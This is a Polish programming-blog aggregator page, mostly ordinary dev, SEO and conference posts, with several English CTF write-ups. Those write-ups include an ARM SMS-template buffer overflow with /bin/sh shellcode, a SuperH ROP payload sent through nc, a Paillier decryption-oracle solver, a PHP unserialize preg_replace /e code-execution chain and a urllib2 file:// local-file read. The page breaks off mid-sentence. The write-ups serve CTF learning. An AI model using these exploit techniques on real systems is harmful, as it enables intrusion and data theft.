Skocz do zawartości

DevStart Blogi

Członkowie
  • Postów

    1 369
  • Dołączył

  • Ostatnio

    Nigdy
  • Days Won

    2

Wszystko napisane przez DevStart Blogi

  1. Witam po ponad miesięcznej przerwie… Chyba jednak trochę jej potrzebowałem, bo przez ostatni rok dość intensywnie pracowałem nie tylko nad tym blogiem (o czym za chwilę) ale i w ogóle nad własnym samorozwojem w dziedzinie programowania. Jako że koniec roku 2014 już za progiem, wydaje mi się, że to dobry czas podsumowań. Dlatego tez dziś... Czytaj dalej The post Koniec roku – czas podsumowań appeared first on burczu programator. Wyświetl pełny artykuł
  2. Podobno dobrzy programiści nie zamykają się na jeden język. Nie wiem, nie jestem programistką, ale przyszedł ten czas kiedy jeden język to za mało. Dlatego coraz bardziej przekonuję się, że z Ruby było fajnie ale Python jest lepszym wyborem. Dziś opiszę program, którego poszczególne etapy będą się pojawiały co jakiś czas tak że będziecie mogli […] The post Program w Python – Wyszukiwarka Szczytów appeared first on Blog programistyczny | Nauka Pythona | MAGDUM. Wyświetl pełny artykuł
  3. Here you are, playing a CTF with you mates in Hamburg. You notice there's a new task, “Nokia 1337”. Enter the trilogy: pwn this phone. Please use only the qemu provided. Remote instance requires proof of work: nc 188.40.18.78 1024Connect locally via telnet to localhost:10023 after qemu booted completely.You download the image, fire it up in Qemu and... See the phone boot up on http://q3k.org/nokiaboot.webm...Oh. Oh my. Club Mate and Rum (it's called a Tschunk!) in hand, you give it a shot... The challengeThe challenge is the first part of a trilogy of awesomeness prepared by the organizers of the 31C3 CTF. You were given a qemu machine that booted up into a Nokia-like ncurses interface. The machine was an emulated Xilinx Zynq ARM SoC. There was a low-privileged mobile user and a root user. The mobile user had the ncurses UI (a binary with DWARF debug symbols, phew) set as a shell. There was also a baseband communication coprocessor that was essential to solving the second and third parts of the challenge. Locally, we could log in as root and see that there was a /home/mobile/flag file, containing placeholder text. Remotely, we could only access the ncurses UI via telnet. Obviously, we had to get remote code execution through the UI and read the flag. The “phone” didn't have that much functionality. You can send and receive SMS messages, save, remove and retrieve contacts, and save, remove and use SMS templates. All storage was handled by an SQLite3 database. The bugAs previously mentioned, the UI is a DWARF-enabled ARM binary. It's nonrelocatable, and has a writeable and executable data section. This makes our life easier. After doing some analysis of the binary, I found an interesting function - db_get_template, which is used to retrieve a saved template from the database into a buffer. Why is it interesting? Well, let's take a look at its' signature:Set sail for fail.The index parameter is given by the caller to identify the ID of the template we want to retrieve. intidptr can be provided by the user to get information on the internal DB ID of the template. textptr is the output buffer address given by the caller. lenptr can be passed to receive the amount of data written to the buffer. As you might've noticed, there isn't really a way for the caller to get the template length before calling the function - this looks bad. So, where is this function used? Well, when we wish to insert the template into our SMS. Here's the relevant code: Iceberg, right ahead!This is the code called when the user selects a template to be inserted into an SMS message. text, at 0x1C600, is a global buffer of the currently edited text message, text_len is a global int of the current text message length. How large is text, you ask? Your shipment of fail has arrived, And since a template can also be 160 characters... Whoops! We have an overflow past the end of this buffer. The exploitLet's see what can we do with this. What's past this buffer? There's a 0x30-byte long structure named screen_input_dialog_arguments that contains data on how an input screen module should be called when inputting a number (when sending a message). While there's a few function pointers that we could overwrite there, there are also a whole bunch of pointers into complex structures. While doable, it's not something I'd like to have to fix up with my exploit in order to get one of the pointers called without crashing. Maybe there's a better attack vector? Eww. The next structure that we can overflow is screen_sms_write, a structure defining the callbacks that are called by the UI layer when we leave, enter, or input data in the SMS write screen. This looks promising! The first callback normally points to sms_write_enter, and is called when we enter the SMS write screen. So, in theory, we could overflow that pointer, leave the SMS text editor, re-enter it and then the code execution would jump wherever we want. Nice, let's try that. Groovy, Baby! Yeah!Let's say we make a 160-byte long template, with the last four bytes containing the address we want to write into the first callback at 0x1C6D4. Since the message buffer starts at 0x1C600, this means that our combined message+template text should have 216 bytes. Since the template is 160-bytes long, our message should be 56 bytes long. Here's what I did to test whether this attack works: I created a new template, with 156 'B' characters and 4 'Z' characters. I saved it into memory.I created a new message, with 56 'A' characters. I then inserted the previously crafted template at the end.I exited the message editor and re-entered it.I observed that the UI crashed.So, we get a crash. If we attach GDB into the qemu stub and break around, we do indeed see a failed jump to 0x5A5A5A5A ('ZZZZ' treated as a pointer). So our smashing works! Surprisingly, this was the easy part of the exploit. Now onto the hard part, especially if you're new to ARM exploitation.... WeaponizationWe need a shellcode. Apparently, all public ARM shellcodes suck, especially if they can't contain 0x00, 0x0A, 0x1A, 0x1B and 0x1C characters. I ended up writing my own, and it's not very pretty: 'shiiii' is the sound I make each time I look at this.The next step was to automate typing in the shellcode and other long strings into the UI. I wrote a proxy server in Python that would let me connect from a Telnet terminal and also trigger certain automated actions (typing in production token, credentials, template and SMS message). My final exploit looks like this:Create a new template, with 156 'A' characters and 4 bytes of our shellcode address - 0x1C604. Remember, we can't send zeroes, so I had to add 4 to the message buffer address.Create a new message with our shellcode, padded from the left with 4 'Z' characters, and from the right with enough 'Z' characters to make the whole thing be 56 bytes long. Now our shellcode is at 0x1C604 in memory.Insert our template. Now we've overflowed 0x1C64, our shellcode address, into the sms_write_enter callback.Exit the message screen, and re-enter it. Now we're executing our shellcode, which in turn dooes execve("/bin/sh\0", 0, 0).Get flag.????PROFITThe final exploit code can be found at https://github.com/q3k/ctf/tree/master/31c3/nokia. And here's a video of the pwn happening: An excellent challenge and CTF overflow. Thanks CCCAC and StatumAuhuur for the challenge, and thanks fail0verflow and pasten for the fierce competition! But there are two parts left.... stay tuned.Wyświetl pełny artykuł
  4. Filtr bardzo podobny do style_loader_src, ale dla odmiany działający np. na pliki javascriptu. Od dłuższego czasu denerwowało mnie to, że wszędzie gdzie zasysane jest jquery.js również pojawia się jquery-migrate.js, a ja go nie potrzebuję. Wiem jakich wtyczek używam, wiem że nie ma takich które potrzebują migrate. Kod jest bardzo prosty, bo i filtr jest prosty. Filtr przekazuje dwa parametry: $src – odnośnik do dodawanego … Czytaj dalej Filtr dnia: script_loader_srcWyświetl pełny artykuł
  5. New version of dirtyJOE is available for download at http://dirty-joe.com. The main new feature is Java 8 class files support, as there were some minor changes to the file format that were breaking dirtyJOE. You can find full changelog below: Java 8 support: Added support for new constant pool types: CONSTANT_MethodHandle CONSTANT_MethodType CONSTANT_InvokeDynamic Added viewer […]Wyświetl pełny artykuł
  6. Zapraszam do obejrzenia mojej prezentacji: Zrób to po prostu dobrzeWyświetl pełny artykuł
  7. As usual, when CTF tasks are marked with the exploitation tag, a binary file is made available and contestants are instructed to connect to a specific port on a specific IP in order to solve the challenge. Executing the file command on the provided binary gives the following output: $ file passcheck-sh passcheck-sh: ELF 32-bit MSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped If you are as old as I am :), then maybe you remember this Japanese company under name Hitachi, which developed its own CPU core called SuperH (SH). This is it; the company at some point sold the IP rights to Renesas, and we call this - now somewhat forgotten CPU architecture - Renesas SH. By the way, the predecessor of this CPU - SH-2 - was used as main CPU in some Sega consoles back in times. Well, after a quick session with a search engine I managed to find both big- end little-endian SH emulators for Linux (in the qemu package), but further research revealed that the operating systems (user-lands) come in the little-endian flavor only and we have a big-endian binary. Bummer! Having a working OS image would be a real help. In such case I would be able to debug the thing, and tests various stages of the exploit developed. Unfortunately, creating even a stub of OS (bash and friends) would take quite a lot of time, so I decided to simply use the little-endian flavor. And it turned out to be quite useful later on. While booting the emulator, I opened the file in IDA-Pro, and took a look at the resulting disassembly stream. It was rather straightforward. I was able to rather quickly understand the meaning of basic assembler instructions (mov, jsr, rts, sts, lds, trapa, nop) and how the registers are utilized (e.g. r15 as SP). The only peculiar thing was the syscall execution procedure (function names are completely mine). .text:00004054 syscall_write:.text:00004054 sts.l pr, @-r15 .text:00004056 mov r4, r1 .text:00004058 mov r5, r2 .text:0000405A mov r6, r7 .text:0000405C mov #4, r4 .text:0000405E mov r1, r5 .text:00004060 mov.l #maybe_syscall, r0 .text:00004062 jsr @r0 ; maybe_syscall .text:00004064 mov r2, r6 .text:00004066 lds.l @r15+, pr .text:00004068 rts .text:0000406A nop ... .text:0000401C maybe_syscall:.text:0000401C.text:0000401C trapa #h'22 .text:0000401E rts As you can see, the syscall value is passed in r4, while by reading the Linux kernel I found out that it should be r3. Also, arguments to syscalls are passed in r5, r6, r7 while in the vanilla Linux kernel it's r3 (syscall number), r4 (1st argument)... and so on. In order to run a working binary (on a little-endian system) I had to modify it (i.e. the IDA-Pro assembler output) a bit before compiling with gcc. After this modification, the maybe_syscall took the following form: maybe_syscall: mov r4, r3 mov r5, r4 mov r6, r5 mov r7, r6 trapa #0x17 rts Let's compile and run it: $ gcc -Wl,-Tdata=0xffa000 pass.s -o pass -nostdlib$ ./pass Input password: Voila! BTW, the -Wl,-Tdata=0xffa000 flag is necessary, because the original binary used this memory chunk as a stack, by doing: .text:00004000 _start: .text:00004000 mov.l #h'FFB000, r15 .text:00004002 mov.l #stage1, r1 .text:00004004 jsr @r1 ; stage1 Also, addresses of our binary will differ from the original one due to this modification so I didn't care about moving the .text secion to the address of 0x4000. Ok, now we have a working binary, but it's incompatible (endianess). Still, it's very useful for testing. Typing a lot of ASCII characters (a typical first test) as a response to Input password: resulted in $ ./pass Input password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault Is it our bug? We could read the output of IDA-Pro, but we can also (in absence of working gdb, which was simply crashing with any binary) use... $ strace -e trace=none ./pass Input password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---+++ killed by SIGSEGV +++Segmentation fault Well, ok, the SEGV_MAPPER value can stand for at least a few things: unmapped address, bad permission bits, address execution fault, address fetch fault etc. So, reading output of the disassembler to confirm our assumptions is always a good idea. I did it (spent some time with annotating functions and trying to understand the execution flow), and yeah, that's out bug (buffer overflow on the stack and no ASLR/PIE/SSP). Update: Later that day I realized that I could have used 'strace -i -e trace=none ./<binary>' to confirm that IP is set to 0x41414141. Should be easy, right? Well.. not really, the stack is non-executable. Or, rather it is, but only under the qemu emulator and not while testing it on the CTF infrastructure (by creating a simple exploit, and compiling it under my SH emulator, which can, BTW, compile both for little- and big-endian CPUs). So, were they using a real SuperH machine (Linux on Sega:)? Interesting. At this point the only one thing I could think of was, wait for it, ROP! :) By using user version of the qemu-sh emulator (qemu-sh4) and testing it with AAAAAAAAAAAAAA..... input I realized that ip, r4, r5, r6 and r7 registers held my 0x41414141 values as well, which seemed awesome, because authors of the challenge basically must have given to us a ROP gadget which is preparing registers for syscalls. One of those gadgets is located here: .text:0000424C mov.l @r15+, r7 .text:0000424E mov.l @r15+, r6 .text:00004250 mov.l @r15+, r5 .text:00004252 mov.l @r15+, r4 .text:00004254 lds.l @r15+, pr .text:00004256 rts .text:00004254 lds.l @r15+, r8 (due to delayed branching it will be executed as well!!!) That's real gem! We can basically populate stack with data, and the code will simply load registers and call whatever function we like e.g. maybe_syscall (i.e. it will call any address, but we can redirect it to the maybe_syscall function by setting PR to a correct value). There's only one thing that needs to be changed here though. If we did what I just described the maybe_syscall function will loop itself forever, because under SuperH the last return address is stored in the PR register and not on the execution stack. Therefore I had to jump trough a jsr/rts stub, which can be found here: .text:00004028 mov.l #maybe_syscall, r0 .text:0000402A jsr @r0 ; maybe_syscall .text:0000402C nop .text:0000402E lds.l @r15+, pr .text:00004030 rts To sum up our ROP: 0x00004028 (load registers), 0x00004028 (change PR register to a controlled value by doing jsr maybe_syscall, and return back to our gadget), 0x0000401C (our syscall invocation). The sequence of syscalls that I wanted to execute was: open: syscall_nr: 5arg_1 = ptr to "flag.txt" (provided by me on the stack)arg_2 = 0 (O_RDONLY)arg_3 = irrelevant (not used with O_RDONLY) read: syscall_nr: 3arg_1 = resulting file-descriptor (unknown to us at this point)arg_2 = ptr to a free stack buffer (we can simply overwrite the "flag.txt" string here) - 0x00FFB02Carg_3 = some numeric value, like 20 or 30 or so (number of bytes to read, roughly equal or greater than the expected flag size) write: syscall_nr: 4arg_1 = 1 (stdout)arg_2 = ptr to our buffer - in our case: 0x00FFB02Carg_3 = some low-number value (number of bytes to write) At this point I didn't know what file-descriptor number will the open syscall return. I assumed it's 3, but one never knows, so I chose to brute-force it :). The resulting shell-code is attached below: (admit it, bash haxxxoring is the best haxxxoring, python s..cks :). An alternative would be to invoke close(3) before calling open. #!/bin/bash while [ 1 ]; do for x in `seq 2 20`; do A=`printf "%02x" $x`; echo == $A === >>/tmp/haslo; { echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xB0\x2C\x00\x00\x00\x05"; echo -ne "\x00\x00\x40\x28"; echo -ne "1111"; echo -ne "\x00\x00\x42\x4C"; echo -ne "\x00\x00\x00\x40\x00\xFF\xB0\x2C\x00\x00\x00\x$A\x00\x00\x00\x03"; echo -ne "\x00\x00\x40\x28"; echo -ne "1111"; echo -ne "\x00\x00\x42\x4C"; echo -ne "\x00\x00\x03\x00\x00\xFF\xB0\x2C\x00\x00\x00\x01\x00\x00\x00\x04"; echo -ne "\x00\x00\x40\x28"; echo -ne "flag.txt\x00"; echo; } | nc -v micro.pwn.seccon.jp 10000 >>/tmp/haslo; done done After couple of iterations (because the resulting file-descriptor from the open syscall can be anything, and we need to match it with the second read syscall), the password will appear in /tmp/haslo :). == 02 === Input password: flag.txt == 03 === Input password: flag.txt == 04 === Input password: flag.txt == 05 === Input password: flag.txt == 06 === Input password: SECCON{CakeOfBeanCurd} == 07 === Input password: flag.txtWyświetl pełny artykuł
  8. Kiedy już uznacie, że nadszedł czas na naukę programowania (nie tylko Ruby :D) to wypadałoby się za to zabrać. Muszę przyznać, że dziś nauka programowania jest dużo prostsza. Wiele jest interaktywnych platform, które moim zdaniem sprawdzają się dużo lepiej w przypadku początkujących niż książka z kodem. Nie chodzi o zastąpienie książek, ale o to że […] The post Gdzie uczyć się Ruby? appeared first on Blog programistyczny | Nauka Pythona | MAGDUM. Wyświetl pełny artykuł
  9. Wiecie jaki jest problem początkujących programistów? Boją się kodu. Kończą jakiś kurs, potrafią już napisać prostego ifa, znają jakieś pętle, potrafią wyciągnąć elementy tablicy, ale ciągle robią kursy. To błędne koło bo po kolejnych godzinach spędzonych na wykonywaniu abstrakcyjnych zadań nadal nie zaczynają własnych projektów. Dlatego nie ma się co bać kodu tylko trzeba myśleć […] The post Kiedy zacząć pisać własny kod? appeared first on Blog programistyczny | Nauka Pythona | MAGDUM. Wyświetl pełny artykuł
  10. Pierwsze posty mają to do siebie, że niewiele wnoszą. Ten post pewnie też taki będzie, ale chciałam przybliżyć historię mojego programowania. Zacznę od szkoły podstawowej, ale nie martwcie się nie będzie nudy! Nigdy nie byłam orłem z matmy. Daleka jestem od zwalania winy na wszystkich dookoła, ale niestety: w szkole miałam słaby start. Potrzebowałam […] The post Moja historia appeared first on Blog programistyczny | Nauka Pythona | MAGDUM. Wyświetl pełny artykuł
  11. Hej! Dziś temat, o którym wspomniałem już poprzednio przy okazji ostatniej części serii wpisów dotyczących testowania za pomocą frameworka Jasmine. Pokazywałem tam, w jaki sposób można „zamokować” wywołanie funkcji ajax dostępnej w bibliotece jQuery za pomocą specjalnych obiektów Deffered oraz Promise dostarczanych przez tę bibliotekę. Uznałem wówczas, że szczegóły tego rozwiązania to temat na osobny... Czytaj dalej The post jQuery – Deffered i Promise w pigułce appeared first on burczu programator. Wyświetl pełny artykuł
  12. Hej, dziś wpis trochę krótszy, z rodzaju tych „tips & tricks”… Czasem zdarza nam się natknąć na sytuację kiedy napisaliśmy w pocie czoła jakiś „zajebisty”, „zakręcony” kod JavaScript ale nie wiedzieć czemu nie działa – dzieje się tak często dlatego, że JavaScript w wielu sytuacjach zachowuje się inaczej od innych topowych języków programowania. Jedną z... Czytaj dalej The post JavaScript – proste problemy z domknięciem i this appeared first on burczu programator. Wyświetl pełny artykuł
  13. Hej! Jak głosi tytuł, dzisiaj na blogu krótka relacja z konferencji jaka miała miejsce w dniach 14 – 16 października 2014 we Wrocławiu, a w której, jak się domyślacie, miałem okazję uczestniczyć. Mowa oczywiście o tytułowej .Net Developer Days. Odbyła się ona w centrum konferencyjnym na wrocławskim Stadionie Miejskim, i była raczej wydarzeniem kameralnym (przynajmniej... Czytaj dalej The post .Net Developer Days 2014 – relacja appeared first on burczu programator. Wyświetl pełny artykuł
  14. The server welcomed us with the following message: Here we use a well-known cryptosystem, which introduced in late 90s as a part of PhD Thesis. This cryptosystem is a probabilistic asymmetric algorithm, so computer nerds are familiar with the basics. The power of this cryptosystem is based on the fact that no efficient general method for computing discrete logarithms on conventional computers is known. In real world it could be used in a situation where there is a need for anonymity and a mechanism to validate, like election. What's the name of this cryptosystem?The answer is "Paillier" (https://en.wikipedia.org/wiki/Paillier_cryptosystem). It's a public-key cryptosystem, which has an interesting property - it's homomorphic. I'll explain this term in a moment, after we see what we need to solve the challenge. After solving the riddle, the server sends a secret (same value for every connection): The secret is: 45710623737087701711820134797542238364727935815041561117965550719730211404995880962189849763186419941404256428269541230638298594081804054803929405338706331501510355769791788035782101048794197150178174026969607210826909631760346060869225182396182048777369368142016863385200586265163953840808342248328628488558966204179925698305553258440383522033840372138701862745580428470631799476191017336213672662419943702985732053645939959855799510630518494500337262650866518227631714070805564029135334485129969768206948775297659476280347999959347004640627153560223776086816027050734375066512946795924861244218488564290260122095Afterwards, it asks in a loop: Tell us your choise: ------------------------ [E]ncrypt: [D]ecrypt:We are able to encrypt and decrypt arbitrary messages (numbers). It is clear that the encryption scheme uses the Paillier cryptosystem, but we don't know the keys (neither private nor public key). Let's try to decrypt the secret: [E]ncrypt: [D]ecrypt: D Tell us your secret to decrypt: 45710623737087701711820134797542238364727935815041561117965550719730211404995880962189849763186419941404256428269541230638298594081804054803929405338706331501510355769791788035782101048794197150178174026969607210826909631760346060869225182396182048777369368142016863385200586265163953840808342248328628488558966204179925698305553258440383522033840372138701862745580428470631799476191017336213672662419943702985732053645939959855799510630518494500337262650866518227631714070805564029135334485129969768206948775297659476280347999959347004640627153560223776086816027050734375066512946795924861244218488564290260122095 Don't fool me! X-(That would be too easy ;) But now we can be sure, that the objective is to decrypt that number with server's private key. It's a time for more information about the cipher. Paillier cryptosystem is homomorphic, which means that we can make some computations on ciphertext (without knowing plaintext nor private key) which will result in predictable changes in plaintext after decryption. One of Paillier properties allows us to add any value to a plaintext: $$D(E(m_1)*E(m_2)\ mod\ n^2) \equiv m_1+m_2 \pmod{n}$$where D is the decryption function, E is the encryption function (which is randomized, I hid the random argument for simplicity), n is a number contained in both the private and public key, and m1 and m2 are plaintext messages. Random interesting note: Unpadded RSA has a homomorphic property too: multiplication of ciphertexts results in multiplication of plaintexts after decryption. What we want to do is to fool the server into decrypting something which is not the original secret, but we are able to recover it after decryption. The simplest idea is to just add 1 to the secret and ask server to decrypt it: $$secret = E(secret\_plaintext)\\ D(secret * E(1)\ mod\ n^2) \equiv secret\_plaintext + 1 \pmod{n}$$ To do that, we need to know the modulo n. We will use the property that E() can encrypt only values that are smaller than n. Let's check what we get after querying some really big value to E(): [E]ncrypt: [D]ecrypt: E Tell us your message to encrypt: 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 Your message is too long! :( Bingo ;) We can find the modulo using binary search. Now we have everything we need to write a solver. Here's mine: import socket host = 'asis-ctf.ir' port = 12445 # cut_between('smth: 123; adsf; ', 'smth: ', '; ') == '123' def cut_between(source, before, after): pos1 = source.find(before) pos2 = source.find(after, pos1 + len(before) + 1) assert pos1 != -1 assert pos2 != -1 return source[pos1 + len(before) : pos2] # decrypts or encrypts given input, mode: 'E' or 'D' def ask(input, mode): global conn while True: try: conn.sendall(mode + '\r\n') data = conn.recv(1024) # 'Tell us your message to encrypt: ' conn.sendall('%d\r\n' % input) data = '' while '[D]ecrypt:' not in data: data += conn.recv(1024) if 'too long' in data: return -1 if 'None' in data: return None return int(cut_between(data, 'Your secret is: ', '\n')) except IOError: print 'Connection failed!' def E(input): return ask(input, 'E') def D(input): return ask(input, 'D') def find_N(): # length of N should be similar to the length of the secret start = 10**307 end = 10**311 assert ask(p, 'E') != -1 assert ask(k, 'E') == -1 # binary search while start < end: mid = (start + end) / 2 res = ask(mid, 'E') if res == None: # server sends 'None' for 0 and n-1 return mid + 1 if res == -1: end = mid else: start = mid + 1 print '[%d, %d]' % (start,end) return start if __name__ == '__main__': conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((host, port)) print conn.recv(1024) # riddle print conn.recv(1024) # question answer = 'Paillier' print answer conn.sendall(answer + '\r\n') data = conn.recv(1024) secret = int(cut_between(data, 'is: ', '\n')) data = conn.recv(1024) n = find_N() secret_plaintext = D((E(1) * secret) % (n**2)) - 1 # flag: ASIS_85c9febd4c15950ab1f19a6bd7a94f85 print hex(secret_plaintext)[2:].rstrip('L').decode('hex') Wyświetl pełny artykuł
  15. In early 2007 I fell asleep on a bus home from college. I had a weird dream that I saw Jane Copland, Rebecca Kelley and Rand Fiskhin (all of SEOmoz at the time) sitting at the front of the bus. The conversation we had wasn’t very interesting, and it probably shows a very geeky time […]Wyświetl pełny artykuł
  16. We all know that Google updates can be highly frustrating, especially when Google are never forthcoming about exactly what changed and what you can do about it if you feel you were unfairly penalised. For some though, Google changes can slice millions of dollars off the valuation of your company. When Panda 4.0 was rolled […]Wyświetl pełny artykuł
  17. I recently did something I’ve never done before: Whipped out my credit card in the middle of a packed club and punched my digits into an order form to purchase a WordPress plugin. It’s a plugin that has totally transformed how I look at publishing information online and something I expect to use for many […]Wyświetl pełny artykuł
  18. As a result of so much of my time being spent focused on building an SEO company and ranking websites, I’ve been fortunate to come across a number of people who are on a similar journey. Today I would like to introduce one of those people, Matt Prados, to the world. Matt has managed to […]Wyświetl pełny artykuł
  19. Five months ago I published what turned out to be one of the most popular posts ever on this site: A guide on how to reach 100,000,000 (that’s 100 million) unique users in just six months. The whole idea of the post was to show that people are “stealing” viral content, posting it on their […]Wyświetl pełny artykuł
  20. It still amazes me when SEO blogs blindly tout advice we’ve all heard before. “Write great content, build a quality site, don’t get shady backlinks” and so on. Of course, I know why they’re sharing the advice, but the “right way” certainly isn’t the only way that works. Take paid links for example, an SEO […]Wyświetl pełny artykuł
  21. New version of wow64ext library is available for download: http://rewolf.pl/stuff/rewolf.wow64ext.v1.0.0.6.zip Changelog Bugfix for improperly aligned stack. It was aligned to 8, and it was failing when some x64 SSE code was executed as it needs 0x10 alignment. Thanks goes to Vlad, who pointed it out in some recent comment under previous release: http://blog.rewolf.pl/blog/?p=1097#comment-51893. This bug […]Wyświetl pełny artykuł
  22. New version of wow64ext library is available for download: http://rewolf.pl/stuff/rewolf.wow64ext.v1.0.0.5.zip Changelog Added VirtualProtectEx64 Bugfix for ReadProcessMemory64 / WriteProcessMemory64 – lpNumberOfBytesRead / lpNumberOfBytesWritten is declared as SIZE_T pointer. SIZE_T on x64 platforms is 64bit value, but wow64ext library is 32bit, so SIZE_T will be 32bit. Passing this pointer directly to the x64 version of NtReadVirtualMemory / […]Wyświetl pełny artykuł
  23. Three weeks ago, the Dragon Sector team represented by j00ru, valis, redford, mak, tkd and q3k took part in the onsite finals of the PHD CTF - a team hacking competition organized during the Positive Hack Days conference held in Moscow on 21th-22th of May, 2014. Since it was the first time for our team to travel to Russia to play an offline CTF, and Positive Technologies together with the Techno Pandas team have always been known for running great events, we were really excited to be part of this year's edition - and even more so given that we really enjoyed the qualification round, which we also won by the way. In this post, we would like to tell you the story of the finals as seen by the members of DS. Photo by tylerni7 / PPPPrior to even arriving in Moscow, we received several e-mails outlining the different rules and specifics of the CTF system. As it turned out, the organizers had planned something far beyond a regular Attack-Defense or Jeopardy style competition - a mixture of the two combined with SCADA and ATM hacking, puzzles aligned with the PHD storyline, and game mechanics involving aspects of resource planning. While we don't have a point of reference to compare with previous years, we can definitely say this year's edition was pretty damn epic. The overall logic of the game is well illustrated by the image below. Once we checked in the hotel, we spent a fair part of the evening figuring out the best strategy to use during the game ahead of us. On the first day of the finals, we came to the conference venue early so that we had enough time to set the infrastructure up and double check everything worked properly. The images of virtual machines were handed off to all ten participating teams at 9:00, and we had until 10:00 to make sure the three services were up and functional. Then, the CTF started. The three services we found inside the Linux VM were:cardbook: a simple Python bot for the Cheat card game. Unlike regular Attack-Defense tasks, the script was not exploitable and the teams were supposed to score flags by improving the logic implemented in the original code, in order to win flags from the other players.hacker (holynet): a web service written in .NET and ran using Mono, with no source code or other information initially available.mobol: a custom Python service with two vulnerabilities (RCE via unsafe pickle usage and SHA1 length extension attack) explicitly listed out in the source code.Keeping one's services online and exploiting vulnerabilities in the competitors' boxes would earn each team three kinds of resources (each corresponding to one service), which could then be exchanged for gold (ranking points) or used to open some 16 jeopardy-style tasks. For the most part of the first day, we focused on solving the tasks, as this is generally our area of expertise. The categories we could choose from were forensics, reverse engineering, web, cryptography and pwnables, and the challenges were rated from 1000 to 5000 points based on their difficulty. At the same time, we tried to make sure all of our services were responsive, and also tweaked them in a few simple ways (such as adding code for submitting flags in cardbook). At 18:00 sharp, when Day 1 officially ended, we were at the top of the ranking with service downtime less than 5% and one quest and four jeopardy tasks solved (including a lockpicking one ;-)). Photo by q3kWhen the second day of the contest started at 10:00, we could see that the other teams worked hard on the offline tasks during the night - within an hour after the start, several teams submitted their flags, consequently pushing us down from the first to the fifth place. However, we have quickly caught up with them by solving another four tasks, and also by significantly improving the winning rate of our cardbook bot by implementing several simple heuristics and stealing flags off other teams by exploiting a RCE vulnerability in the holynet service, while patching the flaws in our binary at the same time. The latter was possible thanks to the fact that we found a third-party unpacker which we then subsequently used together with a decompiler to analyze the C# code, spot the bugs and recompile the executable as necessary. Truth be told, we never got around to attacking the SCADA systems or doing the special Qiwi quest, since there was just enough work for each of us in the area of services and tasks. Things got really intense around 30 minutes before the end of the competition - we were the first team to exchange all of our pending resources for gold, thus gaining more than 15,000 points in a few seconds and instantly taking the first place. Seeing this, all of the other teams started selling their resources too, getting dangerously close to our score. The team that got the closest was int3pids who were only ~300pts away, which is less than the lowest-rated task, with others keeping the distance of a few thousand points. We spent the last minutes making absolutely sure that all of our services and exploits were running, but also fending off DoS attempts launched at the holynet service by another team. There was one scary moment when the BalalaikaCr3w team submitted a flag worth 5000 points just five minutes before the end of the CTF, jumping to third place (previously taken by More Smoked Leet Chicken), just a thousand points away from us. Fortunately, no other teams surprised us with any hoarded flags and a few minutes later we were enjoying a moment of triumph. :) Photo by tylerni7 / PPPAfter the CTF was over, all teams were asked to make room for another competition which would take place in the same area: 2DRUNK2HACK, with the goal of hacking a web application behind a WAF while drinking tequila shots for being detected by the protection system - exactly the type of event you would expect from a Russian conference. Soon after that the closing ceremony started, going through the numerous contests and eventually reaching the CTF results. All participating teams were handed their respective banners, and the top3 teams also won actual prizes. Our overall experience with the CTF was really positive, both from the organizational side (partial flight reimbursement, transport between the hotel, airport and conference venue, the CTF area) and technical side. There was a lot of things to hack, so each team could choose their favourite way of earning points, the challenges were interesting (and quite difficult, to be honest) and the infrastructure worked properly throughout the finals. A few minor hiccups such as loud music or a task down for a while are certainly not sufficient to efface the excellent impression PHDays made on us. We will definitely see you guys next year!Wyświetl pełny artykuł
  24. kpop (web200)We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.-- _destruct -- function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND); } ... function log($txt) { $this->logwriter->writeLog($txt); } ... function __destruct() { $this->song->log(); } -- _destruct -- Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!-- logger -- class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND); } }; -- logger --By using the /e switch, we can execute arbitrary code: -- exploit -- matchPattern=$a;$this->replacement=$b;} } class LogFileFormat { public $filters,$endl; function __construct($a){$this->filters=$a;$this->endl='';} } class LogWriter_File { protected $filename,$format; function __construct($b){$this->filename='';$this->format=$b;} } class Logger { protected $logwriter; function __construct($a){$this->logwriter=$a;} } class Song { protected $logger,$name,$group,$url; function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;} } class Lyrics { protected $lyrics,$song; function __construct($a){$this->lyrics='';$this->song=$a;} } $of = new OutputFilter('/(.*)/e',$payload); $w = new LogWriter_File(new LogFileFormat($of)); $e = new Lyrics(new Song(new Logger($w))); echo base64_encode(serialize($e)); -- exploit --Flag: One_of_our_favorite_songs_is_bubble_pop reekee (web200)We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat. -- cut -- url = request.POST['url'] text = request.POST['text'] try: if "http://" in url: image = urllib2.urlopen(url) else: image = urllib2.urlopen("http://"+url) except: -- cut --Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see http://en.wikipedia.org/wiki/Fragment_identifier); something like "file://file#http://". By doing this, we could read arbitrary 